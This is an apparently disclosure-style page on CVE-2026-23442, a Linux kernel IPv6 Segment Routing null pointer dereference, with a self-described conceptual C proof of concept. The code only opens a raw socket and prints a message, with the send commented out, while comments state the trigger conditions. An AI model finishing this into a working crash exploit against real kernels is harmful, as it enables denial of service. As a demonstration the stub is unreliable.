CVE-2026-23442 Linux内核IPv6空指针解引用漏洞

/* * PoC Concept for CVE-2026-23442 * This is a conceptual demonstration. Triggering requires a specific kernel environment. * Logic: Attempt to trigger SRv6 processing on an interface with invalid IPv6 config. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if.h> #include <arpa/inet.h> int main() { // Note: Actual exploitation requires setting up a network interface // with MTU < IPV6_MIN_MTU (e.g., 1200) and sending SRv6 traffic. // This code simulates the user-space part of sending crafted traffic. int sockfd; struct sockaddr_in6 addr; sockfd = socket(AF_INET6, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } // Target a local interface (assumed to be configured or misconfigured) memset(&addr, 0, sizeof(addr)); addr.sin6_family = AF_INET6; inet_pton(AF_INET6, "::1", &addr.sin6_addr); // In a real exploit, one would craft a packet with Segment Routing Header (SRH) // to trigger ipv6_srh_rcv() or seg6_hmac_validate_skb(). // The vulnerability triggers if the interface has no valid IPv6 config (idev is NULL). printf("Sending crafted packet to trigger potential NULL pointer dereference...\n"); // sendto(sockfd, buffer, len, 0, (struct sockaddr*)&addr, sizeof(addr)); close(sockfd); return 0; }